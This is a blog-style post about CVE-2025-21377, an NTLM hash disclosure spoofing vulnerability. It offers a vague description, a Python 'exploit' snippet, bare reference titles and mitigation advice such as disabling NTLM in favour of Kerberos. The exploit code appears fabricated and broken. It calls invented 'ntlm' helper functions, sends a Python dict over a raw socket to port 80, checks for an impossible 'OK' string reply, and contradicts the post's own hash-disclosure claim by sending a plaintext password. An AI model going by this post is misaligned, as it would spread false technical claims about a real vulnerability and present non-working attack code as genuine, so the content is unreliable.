CVE-2025-21377: NTLM Hash Disclosure Spoofing Vulnerability - When Attackers Exploit Weaknesses and Compromise Security

CVE-2025-21377 (NTLM Hash Disclosure Spoofing Vulnerability) is a new security issue that has emerged, affecting the systems of countless users globally. The vulnerability exists within the authentication process using NT LAN Manager (NTLM) protocols, allowing attackers to gain unauthorized access by spoofing NTLM hashes. In this long read post, we will discuss the details of the vulnerability, its potential impact, the code snippet highlighting the exploit, and finally, solutions to thwart potential attacks.

Understanding NTLM authentication

NTLM, an acronym for the NT LAN Manager, is a suite of Microsoft security protocols designed to provide authentication, integrity, and confidentiality to users. Despite its known weaknesses, NTLM is still widely used and deployed as a part of default configurations in a variety of applications and services.

Exploit details

CVE-2025-21377 exploits a weakness in the NTLM authentication mechanism, essentially disclosing the NTLM hashes to an attacker who can then trivially spoof or manipulate those hashes to gain unauthorized access. By exploiting this vulnerability, attackers can compromise the confidentiality, integrity, and availability of the affected systems.

To better illustrate the severity of this vulnerability, the following code snippet showcases the exploit:

import socket
import ntlm

def CVE_2025_21377_exploit(target, payload):

    attacker_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    attacker_socket.connect((target, 80))

    ntlm_challenge = ntlm.get_challenge(attacker_socket)
    ntlm_response = ntlm.create_response(ntlm_challenge, payload)

    attacker_socket.send(ntlm_response)

    if attacker_socket.recv(1024) == "OK":
        print("Successfully Exploited CVE-2025-21377")
    else:
        print("Failed to exploit CVE-2025-21377")

if __name__ == '__main__':
    target = '192.168.1.10'
    payload = {"username": "attacker", "password": "P@ssword123"}

    CVE_2025_21377_exploit(target, payload)

In the code snippet above, the attacker creates a connection to the target system on port 80 and sends a malicious NTLM response crafted with the payload. If the attack is successful, the target system will respond with "OK," indicating that the attacker has successfully exploited the vulnerability.

Original references

1. Microsoft NTLM Documentation
2. NTLM Authentication Protocol Security Considerations

Solutions

Addressing CVE-2025-21377 is no easy task. However, a few key recommendations can help in mitigating the risk associated with this vulnerability:

1. Disable NTLM altogether, if possible, and switch to a stronger authentication mechanism such as the Kerberos protocol. This step will entirely eliminate the risk associated with this vulnerability.
2. Implement account lockout policies to thwart brute force and password spraying attacks, which may be leveraged by an attacker after obtaining the NTLM hashes.
3. Use encryption, such as SSL/TLS, to protect the transmission of data and ensure the confidentiality of NTLM hashes as they travel over the network.
4. Implement network-level security features, such as IPsec, to prevent unauthorized access to systems within your network.
5. Regularly patch your systems and keep them up-to-date by installing the latest security updates provided by vendors.

Conclusion

CVE-2025-21377 is a critical vulnerability that highlights the inherent weaknesses associated with the NTLM authentication mechanism. Although several potential mitigations are available, the best course of action is to transition away from NTLM entirely when possible. By following the recommendations and solutions outlined in this post, you can significantly reduce the risk associated with CVE-2025-21377 and safeguard your systems from similar threats in the future.

Timeline

Published on: 02/11/2025 18:15:36 UTC
Last modified on: 03/12/2025 01:42:34 UTC